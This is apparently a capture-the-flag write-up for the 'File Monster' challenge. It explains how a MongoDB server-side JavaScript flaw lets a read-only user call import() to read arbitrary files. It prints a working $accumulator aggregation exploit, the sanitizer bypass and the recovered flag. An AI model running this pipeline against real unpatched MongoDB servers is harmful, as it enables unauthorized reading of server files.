File Monster
Uploads are written verbatim to `/tmp/<name>` on the shared MongoDB container → CVE-2026-13078 / SERVER-128832
NNS{g0oD_JoB_6et71n6_7H15_tas7Y_f1ag_fR0M_7h3_Fla6_MoNs73R} TL;DR
Uploaded files get written verbatim to /tmp/<name> on the shared MongoDB
container, with a placeholder string replaced by the real flag. Nothing in
the web app ever reads that file back — but mongod 8.2.10 is vulnerable to
CVE-2026-13078 (SERVER-128832): its server-side JavaScript engine
(mozjs) unconditionally constructs a ModuleLoader that should only exist
in the interactive shell, exposing import() as an arbitrary-file-read
primitive to any authenticated user, including the read-only account we
were handed. We use the read-only viewer account’s $accumulator
aggregation stage to import() our own uploaded file back and exfiltrate
the flag through it.
The app
POST /upload -> writes multipart file to /tmp/<name>, name must match
^[a-zA-Z][a-zA-Z0-9.]*$ (no hyphens, no leading dot)
content: strip " ' ` , then replace the first literal
"FLAG" with process.env.FLAG, then Bun.write(path, txt)
GET /files -> FileModel.find() -> [{_id, name, __v}] (no content field)
Mongo credentials viewer:viewer are handed out with role read on the
file-monster database, collection files (fields: _id, name, __v
only). The web app itself connects as admin over a Unix socket
(/tmp/mongodb-27017.sock), but that path can’t be forged — the upload
regex forbids hyphens.
The wall
The obvious question is “the flag ends up on disk in /tmp/<file> —
how do we ever read it back?” Every route was audited and none of them
serve /tmp content. Static analysis of the compiled binary (bun build --compile) and the container’s process tree confirms this; so does actual
runtime instrumentation:
docker run --cap-add SYS_PTRACE ... filemonster:local
inotifywait -m -r /tmp # only ever shows OPEN → MODIFY → CLOSE_WRITE
# for our own upload, nothing else, ever
Nothing in the container reads the file back through any conventional path.
MongoDB’s read-only role was fully enumerated too: no admin commands, no
writes ($out/$merge genuinely rejected at the authorization layer, not
just parse-time), no $_externalDataSources (compute mode is off), and the
server-side JS sandbox ($where/$function/mapReduce) has no file/process
globals — cat, ls, load, require, process, fs are all absent from
a full recursive dump of globalThis.
The one loose thread: the content sanitizer strips exactly ", ', and
` — the three JS string-literal delimiters. That only makes sense if
the uploaded file is meant to be parsed as JavaScript somewhere. No route
in the source does that… but mongod itself might.
The bug: CVE-2026-13078 / SERVER-128832
MongoDB Server ships a JS engine (mozjs/SpiderMonkey) used both by the
interactive shell (mongosh) and by server-side scripting features
($where, $function, $accumulator, mapReduce). The shell supports
import statements to load local .js files via a ModuleLoader class —
a shell-only convenience never meant to be reachable from the server’s own
execution context, since that would let untrusted user JavaScript read
arbitrary files off disk with the mongod process’s own privileges.
SERVER-128832 (“Guard ImplScope ModuleLoader creation”) is exactly the bug
where that guard was missing: the ModuleLoader got constructed
unconditionally, so import() worked from server-side scripting contexts
too. Fixed in MongoDB Server 7.0.39 / 8.0.28 / 8.2.12 / 8.3.7. This
challenge runs mongo:8.2.10 — vulnerable.
// src/mongo/scripting/mozjs/shell/module_loader.h
/**
* Module loading is a shell-only feature; a ModuleLoader must never be
* constructed in the server execution environment (it would expose a
* filesystem-read primitive to server-side JavaScript via import()).
*/
Confirmed empirically: from the viewer account, import("/tmp/anything")
inside $function returns typeof "object" (a pending Promise) — the
hook fires — with zero authorization check tied to the read/write role.
Getting the value out
import() is inherently async, and here’s the catch: $function never
drains the JS promise job queue. Even a trivially pre-resolved
Promise.resolve(42) returned from a $function body comes back as {} —
its resolved value is simply never observed. So import(...).then(...)
fires, but nothing ever runs the .then callback within a $function
invocation.
$accumulator behaves differently. Its lifecycle (init, accumulate per
document, merge, finalize) is a sequence of separate JS invocations
within the same operation, and the job queue does get a chance to drain
across those call boundaries — reliably so if you give it a sleep() to
work with. Empirically confirmed this works even against a single-document
collection.
Exploit
Step 1 — smuggle a JS module past the content sanitizer.
The sanitizer strips ", ', `, which rules out normal string
literals. A regex literal doesn’t need any of those:
export default /aFLAGb/;
After the server substitutes FLAG → the real flag, the file on disk
becomes e.g.:
export default /aNNS{...real flag...}b/;
— still syntactically valid JavaScript, with the flag embedded as the
source text of a RegExp literal ({/} are fine there; they’re not
regex metacharacters unless forming a valid {n,m} quantifier).
Step 2 — import() it via $accumulator and read .default.source.
db.files.aggregate([
{ $limit: 1 },
{ $group: { _id: null, leak: { $accumulator: {
init: "function(){ return { x: 'unset' }; }",
accumulateArgs: [],
accumulate: "function(state){ import('/tmp/reg1txt').then(m=>{state.x=m.default.source;}).catch(e=>{state.x='ERR:'+String(e);}); sleep(150); return state; }",
merge: "function(a,b){ return a; }",
finalize: "function(state){ sleep(150); return state.x; }",
lang: "js"
}}}}
]);
// -> { leak: "aNNS{...real flag...}b" }
Full script: exploit.py.
$ python3 exploit.py
[upload] {'ok': True, 'filename': 'reg1txt', 'path': '/tmp/reg1txt', ...}
[leak] [{'_id': None, 'leak': 'aNNS{g0oD_JoB_6et71n6_7H15_tas7Y_f1ag_fR0M_7h3_Fla6_MoNs73R}b'}]
Strip the a/b filler we added as regex delimiters and the flag is:
NNS{g0oD_JoB_6et71n6_7H15_tas7Y_f1ag_fR0M_7h3_Fla6_MoNs73R}
Why the intended path was hard to find
- The “existence oracle” (
Filename is already in use) and adbStatsfilesystem-usage side channel both look like plausible exfiltration primitives and are both explicitly red herrings (robots.txtwarns the intended solution needs neither brute force nor guesswork). - The real vulnerability isn’t in the ~90-line application at all — it’s a
same-week 0-day-adjacent CVE in the exact patch version of
mongodthe challenge ships, discoverable only by checking the MongoDB security bulletin for versions between8.2.10(shipped) and8.2.12(patched). - Even once you have the right CVE, the obvious PoC shape (
$function+async/await) silently does nothing, because$functionnever resolves promises — you have to reach for$accumulatorspecifically to get a callback boundary where the job queue actually drains.
Lessons
- When static/source analysis exhaustively rules out every code path, don’t
keep re-deriving the same negative result — go measure it (
inotifywait,strace,atime) to convert “we didn’t find one” into “there isn’t one,” and free yourself to look completely outside the application’s own code. - When the challenge pins a base image to a specific patch version, check that version’s security bulletin — the “vulnerability” may not be in the challenge’s own source at all.
- A promise-returning sandboxed function is not the same as an awaited one; test the runtime’s actual scheduling behavior empirically rather than assuming spec-compliant Promise semantics apply end-to-end.